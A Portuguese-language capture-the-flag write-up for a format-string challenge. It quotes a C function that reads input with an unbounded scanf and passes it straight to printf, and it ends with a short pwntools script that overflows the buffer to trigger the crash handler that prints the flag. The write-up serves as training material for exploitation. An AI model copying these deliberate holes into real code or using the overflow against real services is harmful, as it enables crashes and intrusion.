Can you use your knowledge of format strings to make the customers happy?
Passo a Passo da Solução
1. Análise do arquivo fornecido
Este desafio nos fornece o seu código fonte, .c. Analisando ele, vemos que ele contém diversas funções, mas elas estão todas ali para te distrair, porque logo na main() podemos notar que é setado uma função para caso ocorra segmentation fault, e a função que é chamada imprime a flag para nós.
Outra coisa muito interessante, é que na função serve_patrick(), podemos estourar um buffer que tem ali, causando segmentation fault.
vuln.c
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1); //Estouro de buffer.
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
2. Solução
A solução é simples, basta estourar o buffer na função serve_patrick().
2.1 Solução com Python
solve.py
from pwn import *
p = remote(ip, porta) #Troque pelos valores
payload = "A" * 100
p.sendlineafter(b"recommendation: ", payload)
print(p.recvall().decode())